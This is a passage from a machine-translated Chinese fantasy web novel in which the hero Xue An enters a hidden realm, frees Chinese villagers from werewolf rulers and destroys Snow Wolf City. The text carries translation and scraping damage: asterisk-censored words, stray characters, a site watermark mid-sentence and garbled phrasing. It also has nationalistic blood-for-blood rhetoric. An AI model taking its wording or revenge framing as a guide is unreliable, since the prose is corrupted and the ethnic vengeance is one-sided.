    "Humans, you are fighting in the territory of our race, so we have to make you pay the price of blood!" The leading werewolf said coldly.


    The voice fell to the ground These members of the black mamba were just like small dirt bags in front of a bulldozer, and they were directly flattened.


    "Retreat!" Cheng Hao''s heart was full of chills, and he ordered in a deep voice.


    But they just wanted to retreat separately, and a squad of werewolves appeared behind, blocking the way.


    "The physique of these people is much better than that of rubbish. Take them back and make them into my clan''s spoils!" A werewolf ordered.


    And just when the Phoenix was in trouble.


    There is already a mess in the hall.


    The light spot representing the black mamba suddenly disappeared collectively from the screen, which caused the black snake to stand up suddenly, staring at Xue An with a sullen expression.


    "What''s the matter? What tricks did you Chinese come up with?"


    Xue An did not speak, but raised his eyes suspiciously and looked far away.


    At this moment, a faint wolf howling sound came.

 Chapter 232： Fight with me, are you qualified?

    Xue An''s complexion suddenly became solemn, and he got up and rushed out from the window, and disappeared into the forest.


    Black Snake grinned and followed.


    When the two of them left, the atmosphere in the room became weird.


    The remaining instructors looked at each other without knowing what happened.


    Only Chekov, who was in the other room, looked at the two people away, with a smug smile on his lips.


    Susannah just heard the howling of a wolf, so she trembled at this moment: "General, the werewolves we saw before..."


    "Yes, they are all real, and our empire is cooperating with these powerful beings." Chekov said lightly.


    Susanna shuddered, her face turned pale, "Then this game, was it chosen here on purpose?"


    Chekov turned to look at Susanna, with a serious expression.


    "These powerful beings come from a wonderful world, but what they like most is the powerful souls of warriors. In order to exchange what the empire needs from them, we must do this!"


    Susannah was trembling all over, and her face was always blue and white.


    "can����."


    "Needless to say Susanna, you have to remember that you are a loyal guardian of Country E. For the benefit of the empire, everything can be sacrificed, not to mention that the dead are soldiers from other countries. This is the most beneficial result for us. ,understand?"


    After Chekov finished speaking, he walked past Susanna and patted her shoulder gently, "After a while, the helicopter will come, and then evacuate here! Go back to Moscow or somewhere!"


    Susanna lowered her head and said nothing.


    And Xue An is running in the jungle at this moment.


    He just felt a powerful breath, and there was a smell that Xue An was familiar with.


    Demon!


    At this time, the black snake chased up from behind.


    "Xue An, you can''t run, I want to avenge my soldiers!" The black snake said gloomily.


    At this moment, Xue An suddenly stopped.


    The black snake couldn''t dodge, and almost ran into it.


    "You..." The words behind the black snake didn''t finish, because he was also stunned by the scene in front of him.


    I saw blood and fragments of limbs all on the ground.


    It''s **** and disgusting.


    "This...this is all my subordinates!" The black snake''s face turned pale, and he muttered a few words to himself, then suddenly turned his head and gritted his teeth.


    "Did your people do it? What shameful means did you use?"


    Xue An frowned slightly when he heard the black snake''s clamor, and flicked his finger directly.


    boom.


    The black snake flew out directly by this finger, and it was able to stop after breaking dozens of towering trees.


    "Noisy!" Xue An''s face sank like water.


    The black snake spit out a big mouthful of blood, and looked at Xue An with some horror. After gritting his teeth, he took out the light blue stimulant from his pocket and pierced it without hesitation.


    An extremely powerful aura rose, and the black snake Jiejie smiled strangely: "Xue An, you are really amazing, but it''s useless. I..."


    Before the words were finished, Xue An''s figure had already rushed over and shot out with a punch.


    Click.


    Half of the black snake''s body was shattered.


    The Black Snake was horrified. He thought he could defeat Xue An after injecting a stimulant.


    But I didn''t expect that even a punch would not be followed.


    At this time, Xue An said calmly: "Fight with me, do you have the qualifications?"


    After that, it was another punch.


    boom.


    The Black Snake didn''t even say anything, it turned into a cloud of blood.


    After killing the black snake, Xue An looked around with a solemn expression.


    The bodies of Cheng Hao and others were not found, but there was no clue of them within the range of their spiritual consciousness.


    It''s as if these people suddenly disappeared into this world.


    At this time, Xue An closed his eyes, took a deep breath, and whispered: "It''s a secret realm, really thought I would not be able to find it?"


    After speaking, Xue An raised his left hand, pointed it as a sword, and said lightly: "One sword...open the sky!"


    A sharp sword light crashed down.


    With a click, a dark crack appeared in the air.


    Xue An stepped in.


    The crack trembled a few times, and then disappeared.


    This is a piece of scarlet scorched earth.


    The air is full of choking blood.


    A group of werewolves are besieging several men.


    These men were all seriously injured, and they were about to die.


    One of the men roared, rushed forward and hugged a werewolf''s thigh, and then a white light was emitted from his body.


    boom.


    After a burst.


    The man carried the werewolf and died together.


    "Youngest!" someone screamed.


    The remaining werewolves stepped up their offensive.


    At this moment, Xue An suddenly appeared.


    These werewolves, including the men under siege, looked at Xue An blankly.


    Xue An looked around and frowned slightly.


    This mystery is actually much bigger than expected.


    There are even indigenous peoples.


    The so-called secret realm refers to a certain space created by nature or opened up by great power.


    These spaces are dependent on the main world and exist, so they are also called secret realms.


    Secret realms can be big or small, some are as small as a house, and the big ones are even bigger than the earth.


    Xue An has even seen a huge secret realm that can accommodate a galaxy, which has become a universe by itself.


    Several werewolves looked at each other, and then said in E language: "Are you from the main world?"


    Xue An ignored these werewolves, but looked at the besieged.


    These indigenous people wear ancient clothes, and their faces are not white, but rather Chinese.


    "Are you... the aborigines here?" Xue An asked.


    One of these men, the oldest man came out, with a frightened expression: "You...Who are you?"


    Standard Chinese.


    Xue An''s heart moved, and then smiled slightly, "I came to this place to find someone."


    At this time the werewolves sneered, "It turns out that they are also untouchables, killed!"


    One of the werewolves closest to Xue An rushed over.


    "Be careful!" these men exclaimed.


    At the same time, the werewolf rushed forward, grinning and reaching out his hand to prepare to crush Xue An''s head.


    This is their favorite killing method after encountering "untouchables" But this time, it failed.


    Just as the werewolf was stunned, Xue An''s voice came from behind it, "It looks like your hands are covered with Chinese blood!"


    Said, Xue An waved casually.


    The werewolf broke apart.


    Blushing wolf blood splattered all over the ground.


    This hand stunned all the men who believed Xue An was bound to die.


    "Kill him!" The remaining werewolves all rushed up.


    Xue An didn''t even turn his head, and took a step forward lightly.


    boom.


    These werewolves who rushed halfway were as if they were hit by a giant hammer, and were directly crushed into flesh.

 Chapter 233： War Wolf Secret Realm

    These men looked silly.


    These werewolves didn''t use their full strength when besieging them, otherwise they would have died a long time ago.


    But it was these werewolves who made them feel desperate, but in front of Xue An, they didn''t even make a move.


    Xue An walked to them and smiled slightly.


    "Where is this place?"


    The eldest man stepped forward and said respectfully, "Sir, this is the Valley of the Wolf!"


    Wolf Valley?


    Xue An pondered for a moment, and then said: "How big is your world...about? Where is the nearest city?"


    Just now Xue An explored with spiritual intent and found that there was no boundary within a hundred miles, so he asked.


    The man trembled slightly, and there was a look of horror in his eyes, "This world is big, but there are only a few cities, and...all these werewolves are ruling."


    Xue An moved in his heart, and then smiled slightly, "Did you find anything unusual in the neighborhood today?"


    "No!"


    Xue An sighed. It seems that those people from Fire Phoenix should have fallen elsewhere.


    After leaving the Valley of War Wolf, there is a small mountain village within a short walk.


    After these men came back, the small mountain village was boiling.


    Several men holding bows and arrows jumped down from the simple wall.


    "Elder Wu, you are back!"


    Wu Qing nodded, and then introduced very solemnly: "This Mr. Xue is the one who saved us. Without him, we would never come back!"


    There was a commotion in the crowd, and many people looked at Xue An with surprise.


    Xue An just laughed at this.


    On the way back together, Xue An has already roughly understood the situation in this world.


    The world is about half the size of China, and there are many aboriginal villages dotted around it.


    But the real rulers are the werewolves.


    These werewolves live in cities, relying on the support of these indigenous people.


    In addition, the aborigines are divided into three, six or nine classes, among which the Chinese are the most bullied.


    "Elder Wu, why didn''t my man come back?" a woman trembled.


    Wu Qing''s expression turned gloomy, "The youngest man...in order to hold down those **** werewolves, he exploded and died!"


    The woman fainted after hearing her figure shake a few times.


    Many villagers stepped forward to help, but more of them were numb.


    Death is already a very common occurrence for these people.


    Even if those werewolf masters were unhappy, they would just slaughter a village.


    They are all used to this.


    Xue An wanted to send these people back and then left, but because Xue An was the savior of the respected Elder Wu in the village, these enthusiastic villagers blocked the way and said nothing to let Xue An go.


    And many people here may have never been out of the mountain village in their entire lives, and the only one who has ever entered the city is this elder Wu Qingwu.


    Xue An plans to ask about the way, and then rush to the nearest city.


    This world also has the alternation of the sun and the moon, and even the arrangement of the stars in the sky is the same as the earth.


    To put it bluntly, it is like a small world attached to the earth.


    In the evening, a bonfire was lit in the village, and a table of the most luxurious dinner they could afford was prepared.


    Xue An looked at it. They were all beasts in the mountains and grains growing in the ground.


    There are wines too, but they are all crude wine.


    Xue An took a sip, then smiled, and took out a small hip flask in his arms.


    "Try this!"


    After opening the lid, the smell of vodka wafted out.


    Wu Qing was shocked, and said with a horrified face: "This is the fairy wine that the big masters in the city can only afford to drink!"


    Xue An smiled faintly, "Oh? So, have you seen this kind of wine?"


    Wu Qing nodded.


    Xue An''s smile was slightly cold.


    Country E! well! You actually colluded with these people, and you deliberately held a special forces contest in Siberia. It is estimated that this was designed by you!


    "This jug is for you." Xue An saw that Wu Qing liked this exquisite small jug very much, so he smiled.


    Wu Qing was startled and waved his hand again and again: "How can this be? This thing is too expensive!"


    Xue An smiled. He bought this hip flask for fifty rupees on the street. It was made in Yiwu, and it didn''t touch the word of preciousness.


    In the end, Wu Qing accepted the jug and carefully poured out some vodka, so that everyone present could taste it.


    For these villagers who are accustomed to drinking poor fruit wine, this sip of vodka makes them dizzy.


    The atmosphere of the dinner has thus come to a climax.


    The children who were still a little afraid of Xue An at the beginning also gathered around.


    Because of her daughter, Xue An likes these children very much.


    Before we knew it, we talked very late.


    In the end, Xue An didn''t leave the mountain village at all, but stayed.


    Wu Qing''s daughter blushed and gave Xue An a clean room and moved in a brand new bedding.


    Xue An nodded in thanks, then closed his eyes and started trying to contact the fire Phoenix person with spiritual thoughts.


    But after a whole night of hard work, it still failed.


    In the morning, as soon as Xue An got up, he heard a rapid drumbeat outside.


    Xue An moved in his heart and turned and left the house.


    All the villagers were surrounded by the village entrance with extremely ugly faces.


    Xue An walked over and saw an arrow shot from the wall at the entrance of the village, with a wolf head pinned to the arrow.


    Xue An didn''t know what happened and was about to ask.


    Wu Qing said to Xue An with a solemn expression: "Mr. Xue, I''m sorry, something happened in our village, we can no longer entertain you, I will send a few people to see you away now!"


    Xue An looked at Wu Qing''s expression in a panic, and couldn''t help but smile, "What happened?"


    Wu Qing shook his head, "Mr. Xue, it has nothing to do with you, you should leave here quickly!"


    At this time, some villagers were already sobbing.


    Xue An''s eyes grew colder, "What the **** is going on?"


    Wu Qing sighed, "You still don''t ask!"


    Xue An slightly pondered, UU reading www.uukanshu. com then nodded, "Well, let me go!"


    After a few young people sent Xue An to leave the mountain village, a man who came back with Wu Qing came up and asked.


    "Elder, this Mr. Xue is obviously a man of great ability, why are you letting him go?"


    Wu Qing shook his head and smiled bitterly: "Anyway, our village can''t be preserved for too long, so why bother to others? He is just as capable, but the opponent is the Snow Wolf King!"


    The name Snow Wolf King made all the villagers face dead.


    Some women even cried bitterly.


    At this time, Wu Qing gritted his teeth, "Don''t cry, everyone can''t run away. Why don''t we try our best to kill one is enough!"


    Encouraged by him, the fighting spirit of these villagers gradually rose.


    But Wu Qing''s heart was more desperate than anyone else, because he knew that as soon as the Snow Wolf King appeared, the entire mountain village would face an extinction.

 Chapter 234： Sword spirit

    The sight of the whole day.


    The walls of the entire mountain village have been thickened a lot, and women and children joined the battle, taking out everything that could be used as weapons.


    Then Wu Qing took out all the stored grains and cooked a fragrant dinner.


    It''s just that no one can eat it.


    Everyone stared blankly at the path in the distance.


    It''s almost dusk.


    The sun shines on the path, it seems so bright.


    suddenly.


    A huge shadow appeared in the sky.


    Wu Qing, who was patrolling the city wall, tightened, and when he took a closer look, his heart was completely cold.


    In the distance, more than a hundred werewolves were rushing.


    In the middle is a huge wooden cart pulled by two snow-white werewolves, on which sits a chubby white wolf.


    It''s the Snow Wolf King!


    This kind of battle is enough to flatten the entire mountain village.


    At this time, people in the entire mountain village saw this scene.


    Many people looked terribly scared.


    Wu Qing exhausted all his strength and shouted: "Don''t panic, everyone will die in battle. Anyway, you can''t kneel and let these beasts kill!"


    "Correct!"


    Many men''s eyes are gradually reddening.


    The wolves stopped when they were still some distance away from the mountain village.


    Snow Wolf King looked at this simple mountain village and those villagers with firm eyes on the wall of the mountain village, and smiled disdainfully.


    "I really don''t know the life and death of a pariah, do you still want to resist?"


    The Snow Wolf King has been in a bad mood recently, because it has not been to the Lord''s World for a long time since he was sent to this poor country by the high priest.


    Thinking of the feasting and colorful world, Snow Wolf King''s saliva could not stop flowing out.


    When it is in a bad mood, it will want to kill.


    This time I just passed by here, so I made a temporary volition and prepared to slaughter a village to go unlucky.


    The resistance of Wu Qing and others was also regarded by the Snow Wolf King as a dying struggle.


    But the more so, the happier it feels.


    This is interesting!


    "Rush up to kill everyone and only bring back the leader!" The Snow Wolf King ordered.


    "Yes!"


    Several giant wolves with a height of four meters walked towards the village with a grin.


    "Let''s release the arrow! Release the rocket!" Wu Qing yelled angrily after seeing the distance almost.


    A few burning rockets flew past, but hitting these giant wolves was like tickling them.


    Wu Qing gritted his teeth, picked up one of the best-made bows in the village, aimed it at the eyes of a giant wolf, held his breath, and shot it out suddenly.


    Snapped!


    The accuracy of this sword shot just shattered one of the eyes of this giant wolf.


    The giant wolf howled in pain, shook the entire field, and then roared: "I will crush you one by one into mud!"


    Said these giant wolves rushed over.


    The villagers shot their bows and arrows in the air, threw all their spears, and used up all their attacks.


    Everyone''s face showed a look of despair, and some even closed their eyes dejectedly, preparing for the final death.


    Wu Qing also let out a long sigh, threw away the bow and arrow, drew out the sword, and prepared to kill herself.


    But at this moment, a faint voice came.


    "The moonlight tonight is good, it''s suitable for killing animals!"


    With the voice, Xue Antayue came.


    His appearance surprised all the villagers, especially Wu Qing, who watched Xue An coming from under the moonlight in amazement.


    "Xue...Mr. Xue, why are you coming back?" Wu Qing asked anxiously.


    Xue An smiled faintly, "If I don''t come back, won''t you all die in the hands of these beasts?"


    "But it won''t help if you come back, the other party is Snow Wolf King, and there are so many subordinates!" Wu Qing was sweating anxiously.


    Xue An smiled, "For me, no matter how many animals are animals!"


    These giant wolves couldn''t help being angry when they heard that Xue An opened his mouth and closed his mouth.


    "Untouchable, I will grind you a little bit and then swallow it!" The giant wolf roared and was about to pounce.


    Facing the rushing giant wolf, Xue An stood with his hand in the air and said lightly: "Sword up!"


    boom!


    The originally gentle moonlight suddenly turned into countless sword auras, and then gathered into a dragon shape, and went straight to these giant wolves.


    The giant wolf rushing to the front saw this scene so scared that it was about to shout something.


    But this sword is like a sea, already submerging it.


    When he reappeared, he had already turned into a deadly bone, and then crashed to the ground.


    This horrifying sword shocked the Snow Wolf King who was so busy.


    But this was just the beginning, this sea-like sword aura had not stopped, and it directly wrapped the few giant wolves behind.


    After several deafening howls, these giant wolves all turned into bones.


    Everyone was stunned.


    Especially these villagers couldn''t believe their eyes.


    The giant wolf that can slaughter a village with one head, in front of this man, turned into bones without even a single move?


    How good is this man?


    At this moment, the Snow Wolf King also stood up.


    When it stood up, it was a head taller than the other giant wolves.


    The height of a full five meters is like a hill.


    Xue An stood floating in front of it, looking very small.


    "Are you a warrior in the main world?" Snow Wolf King said solemnly.


    Xue An looked at the giant wolf lightly, "So what?"


    A touch of surprise and respect flashed across the face of the Snow Wolf King.


    "In that case, you are a distinguished guest. It was a bit abrupt just now, please forgive me! I will let these villagers go!"


    The Snow Wolf King actually apologized to this man!


    This discovery made all the villagers stunned Mr. Xue, is his background so big?


    But Xue Lang Wang thought he was low, but Xue An only shook his head gently.


    "You made a mistake!"


    "what''s up?"


    "It''s not that you can''t let go of the villagers, but...I''m willing to let you go!"


    This sentence made the Snow Wolf King think that he had heard it wrong, and then he smiled angrily: "I respect you as a warrior in the main world, doesn''t it mean that I am afraid of you and refuse to let me go? You know who I am Huh? I am the youngest son of God Wolf, King Snow Wolf!"


    The Snow Wolf King''s proud voice has not disappeared.


    Xue An showed some good-looking teeth and smiled sensibly, "You are the son of Wolf Buddha, and you are still a beast!"


    After all, the sword energy crawling under Xue An''s feet suddenly bloomed like a peacock, and then rushed over like a rush of mercury.


    The first to bear the brunt is the guards like Snow Wolf King.


    Before they could react, they were swallowed by sword energy, and after a few wriggles, all these giant wolves turned into bones.


    All the souls that the Snow Wolf King saw, he roared, "The secret technique of the wolf!"


    A brilliance enveloped the Snow Wolf King, increasing his aura several times.


    "Since you insist on opposing our wolf god, then go to death!" Snow Wolf King roared and rushed over.


    Those sword auras couldn''t pierce this Qinghui for a while, so the Snow Wolf King successfully rushed to the front.


    Seeing Xue An right in front of him, the Snow Wolf King couldn''t help but be overjoyed.


    As long as you sprint yourself, you are a **** and you will be crushed!


    The villagers exclaimed even more.


    But in this situation, Xue An looked sad or not happy, facing the rushing Snow Wolf King, raised his fist.


    "One punch... moves the world!"

 Chapter 235： Heaven and earth turn upside down, sentient beings fall

    oom.


    Heaven and earth turn, and sentient beings are overthrown.


    The moonlight seemed to be shaken by this punch.


    The fearless Snow Wolf King, who relied on the blood of the wolf god, exclaimed, "Scatter..."


    The fairy character is not exported.


    This punch has hit its forehead.


    There is no earth-shattering sound, and no blood.


    This Snow Wolf King is like ice and snow in the sun, gradually melting and turning into nothingness.


    The guards behind it all screamed in anger.


    But after this punch blasted the Snow Wolf King into nothingness, Yu Wei really revealed it, and an invisible shock wave suddenly spread and swept across the remaining giant wolves.


    These giant wolves are as if they have been ordered with a holding spell, and they all freeze.


    A gust of wind blew, all turned into powder.


    Punch.


    These giant wolves were all destroyed.


    The audience was silent.


    Wu Qing and all the villagers were stunned.


    Xue An dropped to the ground and smiled faintly, "Where is this Snow Wolf King''s city?"


    Wu Qing was shocked all over, and then came to a sense of consternation.


    "Just over a hundred miles away, it''s called Snow Wolf City, sir, what are you doing?"


    Xue An''s expression was indifferent, "Since these beasts often slaughter villages and kill Chinese people, then I will let them taste what it''s like to be slaughtered."


    "But there are so many giant wolves in the city, you are alone..." Wu Qing''s face was still full of worry.


    At this time, several teenagers walked out behind him.


    "Elder, Mr. Xue is a god-like character. What if there are more beasts? We have been oppressed for so many years, we should let these beasts suffer!"


    "Yes! Elder, don''t hesitate anymore!"


    The villagers below began to be noisy.


    Wu Qing sighed and gave Xue An a hand, "Sir, why don''t I hate those werewolves, but the problem is that this Snow Wolf King is only a junior wolf king, and above it there are high wolf kings, wolf saints and even wolf gods!"


    Hearing Wu Qing''s words, the voices of these villagers gradually became quieter.


    Yes!


    The Snow Wolf King is just a junior wolf king who has just grown up, and there are many more powerful ones in the wolf clan.


    Xue An looked at the many villagers who looked worried, and his voice grew colder.


    "Let me ask you, how it feels to be oppressed for so many years?"


    The crowd was quiet, and humiliation appeared on everyone''s faces.


    "These beasts are aloof, and if they are not happy, they will kill the village and treat them as ants, pigs and dogs. Is this taste good?" Xue An continued.


    Someone started sobbing.


    Xue An shook his head, "I know very well that this kind of taste must be uncomfortable! Then since there is no future, why not stand up?"


    "The reason why I just rescued you was not because you were Chinese, but because I saw that you still dared to stand up when facing a desperate situation!"


    "The reason why a man is a man is because he is the length of all souls, and because he will not succumb to the coercion of these animals! Now, do you understand?"


    People''s eyes gradually became clearer, and many people''s faces showed resolute light.


    "Elder Wu, you said that you would rather die than kneel down and be killed by these beasts. We have had enough for so many years. Let''s follow your husband to kill those bastards!" Some young and energetic men are already excited. It is difficult to control, shouted loudly.


    "Yes! Kill those bastards!"


    The crowd began to boil.


    At this time, Wu Qing''s face was full of tears, and Xue An''s words reminded him of his family who was slaughtered.


    Over the years, these hatreds have been in my heart, and I thought that there would be no chance of revenge in my lifetime.


    The appearance of Xue An gave him hope.


    Wu Qing took a deep breath, bent over at Xue An, and bowed deeply.


    "What the husband said, wait for my heart! The Chinese have no scumbags. Now, we will accompany her husband. Even if they die in battle, we must let these beasts know that humans are invincible!"


    boom!


    The crowd yelled: "I wish to accompany my husband!"


    Seeing these excited villagers, Xue An nodded slightly, feeling relieved.


    He alone is enough to destroy a city, but what use is that?


    If a race is accustomed to bowing to its knees, it will kill its opponents, and he will not stand up again.


    What Xue An wants is to make these Chinese people stand up.


    The blood debt can only be repaid by blood.


    That night, Xue An did not act, because Wuqing sent many people to contact all the nearby Huamin villages, preparing to follow Xue An together.


    Waited until the early morning.


    The open space in front of the village was full of Chinese people.


    All of these people have worn-out clothes, yellow faces and thin skin. Obviously, life is not good.


    When Xue An appeared on the city wall, there was a commotion in the crowd.


    "Is this the **** Wu Qing said?"


    "Looks so young!"


    "I heard that he killed the Snow Wolf King and many other giant wolves with one punch!"


    There are still many people who are skeptical.


    For example, an old man standing beside Wu Qing frowned.


    "Elder Wu, this gentleman is so young, even if he has a good cultivation level, he is going to attack Snow Wolf City..." The meaning behind the old man was clear.


    Even if Xue An is better, but the opponent is a werewolf from a city Wu Qing has a firm expression, "Don��t worry, Lord Ni, I have absolute confidence in Mr. Xue!"


    Master Ni Zhai moved his mouth, then sighed slightly and stopped talking.


    Xue An looked at the crowd in silence.


    Gradually, the crowd calmed down.


    Xue An said solemnly: "Everyone is for the Chinese people. I don''t have to say much about the humiliation and oppression of these years. I will slaughter the beasts and avenge you!"


    boom.


    There was a violent commotion among the crowd.


    Many people have incredible looks on their faces.


    Xue An waved his hand, a sword light directly split a small hill in the distance in half.


    The power of this sword made all the voices that wanted to question disappeared.


    Lord Ni Zhai also trembled, tears gradually covering his face.


    He remembered a legend he heard from old people when he was little.


    The people of China once had a sword fairy, and a sword can open mountains and seas.


    At that time, he also thought about it, how good would it be if such a sword fairy came and killed all those werewolves who were aloof?


    But this was just a fantasy. After so many years, when he was already desperate, Xue An appeared.


    He suddenly gritted his teeth, and even if he had fight his old bone this time, he would follow behind this sword fairy and cut off the beasts.


    At this time, Xue An pointed to the front and said lightly: "Go! Destroy Snow Wolf City!"


    The crowd moved.


    The aboriginal people living in this secret realm are all in good physical condition, and the speed at which they run wild is not lower than that of a horse.


    Xue An walked in the air, looking at these Chinese people who were full of hatred and light, smiled faintly.


    No matter what secret realm or when, the race of Huamin will always be the one who refuses to admit defeat and does not bow.


    You can kill me, but you can''t make me kneel!


    This is the backbone of Huamin.

 Chapter 236： 1 sword slaughter city

    Snow Wolf City.


    A city located under the snow-capped mountains.


    Because this is where the giant wolves live, there are towering houses everywhere.


    Of course, the tallest building has to be the Wolf Temple in the middle of the city.


    now.


    At the gate of Snow Wolf City, several giant wolves were complaining.


    "Damn, this time the vodka is a lot less, it''s really boring!" said a giant wolf with a hint of golden hair on its head.


    "Hey, do you think it is really missing? The materials distributed in each city are constant. If it suddenly decreases, the people above must have deducted it!" Another giant wolf sneered.


    "Shhh, why don''t you keep your voice down? Be careful to be heard by the wolf king, that is the blood of the wolf god!" A relatively mature wolf hurriedly dissuaded.


    "Hmph, if this Master Snow Wolf is valued, he won''t be sent to such a remote place like this. Besides, isn''t it out of the city now? I can''t talk about it?"


    The complaint of this giant wolf resonated with many people.


    When the Snow Wolf King arrived here, he began to levy wildly, detaining many materials and filling his own pockets, which was very unwilling.


    At this time, a group of humans passed by the city gate.


    "Stop!" A giant wolf stopped the way.


    "Big...sir, we went inside and cleaned up for you adults!" said an old man in the lead tremblingly.


    The giant wolf looked at the tattered old man and the people behind him, and waved his hand a little disappointedly, "Get out!"


    When the group of people entered the city, the giant wolf sighed and said: "Damn, I can''t even touch the oil and water all day, it''s really boring!"


    He was complaining, and there was a loud noise in the distance.


    A few giant wolves guarding the city looked up and saw a dense crowd appeared in the sky, and the dust raised when they ran covered the sky, and the momentum was extremely shocking.


    The giant wolves were taken aback for a moment, and then turned into a shock.


    "The wolf **** is on top, are these untouchables crazy?"


    "Quickly, ring the bell to warn you!"


    Several giant wolves began to ring the bell in a hurry.


    Because Snow Wolf City is very small and there are only civilians around, there are only a few of them who usually guard the city.


    As soon as the warning bell sounded, the underwhelming crowd rushed under the city wall.


    At this time, several giant wolves also calmed down from the initial panic.


    Especially when I saw all the untouchables holding sticks, I took a breath.


    "I thought what was going on, tut, it turned out to be a group of untouchables!" a giant wolf said with disdain.


    To them, these untouchables are as weak and deceptive as lambs to be slaughtered, and they are not worth fearing at all.


    "I''ll go down and kill them all!"


    A giant wolf leaped off the tall city wall, carrying a huge mace in his hand, and rushed towards the crowd with a grinning grin.


    This giant wolf is more than three meters high, and it rushed so aggressively, causing a commotion in the crowd.


    Being oppressed for so many years has made many people fear these giant wolves into their bones. When facing the rushing giant wolf, they subconsciously want to avoid it.


    "Put the arrow, let it go!" Wu Qing shouted.


    People raised their bows and crossbows, aimed at the giant wolf and started shooting arrows.


    But because of the extremely fast speed of the giant wolf, it rushed past the arrow before it hit.


    "Hey, untouchables, let me die!" There was a cruel light in the eyes of the giant wolf, and he lifted his mace to swing.


    At this moment, a golden light flew at an extremely fast speed from a distance, and circled the giant wolf.


    The giant wolf froze in place, and then the entire huge body slowly split into several pieces.


    This scene caused the crowd to cheer.


    But the giant wolves on the wall were shocked.


    "What''s the matter? What is that golden light just now?"


    At the same time, the entire Snow Wolf City was boiling, and hundreds of wolves rushed to the wall.


    They all arrived after hearing the warning bell.


    Seeing so many giant wolves, many Chinese people looked pale.


    "Er and other untouchables, why bother us Snow Wolf City for no reason?" A giant wolf with a significantly taller figure walked out slowly and asked.


    Without the Snow Wolf King, it is the master of Snow Wolf City.


    After the crowd was silent for a while, someone took the lead and shouted: "We are not untouchables, but you beasts!"


    "Yes! We are not untouchables! You beasts are!"


    These shouts made the giant wolves look upright.


    The acting city lord sneered, "Since you are looking for death, don''t blame us, kill these untouchables!"


    With an order, hundreds of giant wolves began to advance slowly.


    The world seemed to tremble while walking.


    But at this moment, the Chinese people had red eyes, and aimed everything that could be used as a weapon at these giant wolves.


    They have put life and death out of their lives.


    These giant wolves were also a little surprised by the aggressiveness and fear of death.


    Why is the Chinese people who were weak and deceived in the past suddenly so united?


    "Kill them all!" A look of horror flashed in the wolf eyes of the acting city lord, and he ordered viciously.


    It''s just that as soon as its voice fell, a golden light suddenly appeared on its neck and lightly circled.


    The huge wolf head soared into the sky.


    The wolf corpse planted down the city wall, shocking the sky full of dust.


    This scene stunned all the giant wolves.


    What exactly is Jinguang?


    However, Huamin gave out loud cheers, and someone shouted: "Mr. Mighty!"


    At the same time, Xue An''s figure appeared in the air in front of the crowd, facing the hundreds of wolves alone, and said lightly: "Today, I let you taste what it''s like to be slaughtered!"


    With the voice, countless sword lights are like rain, and they are directly attacking these wolves.


    These giant wolves hadn''t taken the thin sword light seriously at first, but in an instant, these sword rain swallowed them.


    The screams mixed with blood, dyed the walls of Snow Wolf City red.


    Watching these giant wolves, who usually stood high and had their hands soaked with Chinese blood, fell to death one by one.


    The tears of countless Chinese people burst into their eyes.


    Lord Ni Zhai was trembling with excitement.


    From small to large, scenes that I have imagined countless times really appeared.


    After a few snaps, the wolves all turned into blood, and even the city wall collapsed under the sword rain.


    The loud sound surprised the Chinese people who were slaves in the city, and then they saw an unforgettable picture in their lives.


    Seeing countless sword rain falling, the Chinese people were all safe and sound, but the domineering giant wolves were all wrapped in this sword rain, and after a few screams, they turned into blood and bones.


    For a time, the **** smell of wolf blood in the entire Snow Wolf City rushed into the sky.


    So far, Xue An slaughtered the city with one sword! ! !


    And at this moment, a huge wolf howl came from the temple in the center of the city.


    "Who is it? How dare to slaughter my people?"


    Following the voice, a giant wolf radiating cold and radiance slowly walked out of the temple.

 Chapter 237： Hope you are still alive

    Its appearance made many people exclaimed.


    "It''s the wolf **** sacrifice!"


    "This is wolf mystery!"


    Xue An stood in the air, his expression unhappy or sad.


    "Till your people?" Xue An said lightly, "Why didn''t you say when your wolf clan destroyed my Chinese people?"


    This giant wolf with a height of six or seven meters looked at Xue An in midair, "Sword repair in the main world?"


    When he said this, a look of surprise flashed over its huge wolf face.


    "Our werewolves have always cooperated with your lord world. If you do this, won''t you be afraid to provoke us?" the giant wolf roared.


    Xue An said calmly: "I''m sorry, the race you worked with, I will also find them to settle accounts after I go back, but now..."


    Xue An raised his eyes to look at the giant wolf, "I have to kill all of you flat-haired beasts!"


    "You are looking for death!" The giant wolf roared and charged.


    The speed is not commensurate with its size, it is as fast as a phantom.


    In an instant, the giant wolf rushed to Xue An.


    Under his huge body, Xue An looked like a little ant, very inconspicuous.


    "Give me...Go to death!" The giant wolf roared, and a giant hammer appeared in his hands, smashing it towards Xue An.


    This scene shocked many Chinese people.


    Many people couldn''t bear to close their eyes.


    But the expected screams and crashes did not appear.


    Everyone slowly opened their eyes, looked up, and saw Xue An standing in the air, gently supporting the giant wolf''s sledgehammer with one hand.


    This picture is like a person holding up a mountain, giving a strong sense of impact.


    The wolf **** sacrificial heart was full of horror. He gritted his teeth and used all his strength on the sledgehammer, trying to crush Xue An to death.


    But Xue An looked calm, and said coldly: "Is that just enough strength?"


    With that, Xue An''s hand slowly lifted up.


    The giant hammer rose slowly in this way, even though the giant wolf sacrificial ritual had already used all the strength of feeding it, it still couldn''t stop it.


    "You hit me with a hammer, and I will repay it with a hammer!"


    After Xue An said, he suddenly pulled the sledgehammer out of the giant wolf''s hand, then picked up the hammer handle, and lifted the sledgehammer up as soon as he raised his hand.


    call!


    With a sharp wind, the giant hammer went straight to the giant wolf.


    This wolf **** sacrifice scared the wolf soul out of his body, "No..."


    boom.


    A muffled sound.


    The brilliance of the wolf **** shrouded on it was directly scattered by the hammer, and then the giant hammer blasted its body into a puddle of mud with an unstoppable force.


    At this point, all the giant wolves in Snow Wolf City were destroyed.


    After a short silence, the crowd uttered earth-shattering cheers.


    "Mister mighty!"


    "Mr. Fight!"


    Lord Ni Zhai and Wu Qing looked at each other and suddenly fell to their knees first.


    As soon as they knelt down, everyone else also knelt down.


    "Mr. Great kindness, we are unforgettable!"


    Xue An stood with his hands in the air and smiled faintly.


    He felt the gratitude of these people.


    This worship, he deserves it.


    At this moment, a light spot appeared on the corpse of the wolf **** sacrifice, and then he wanted to fly away from here at an extremely fast speed.


    Xue An stretched out his hand and directly held the light ball in his palm.


    It is the soul of this wolf **** sacrificed.


    Seeing that he was caught by Xue An, the wolf soul was so scared that he bowed in Xue An''s palm.


    "The adults are forgiving, the adults are forgiving, I am just a small sacrifice, but I have never killed Chinese people!"


    But its words drew roars from many people.


    "Haven''t killed? How did you sacrifice my daughter to the wolf god?"


    The wolf soul shivered with fear.


    Xue An said indifferently: "Why do those giant wolves that were killed have no souls, but you alone?"


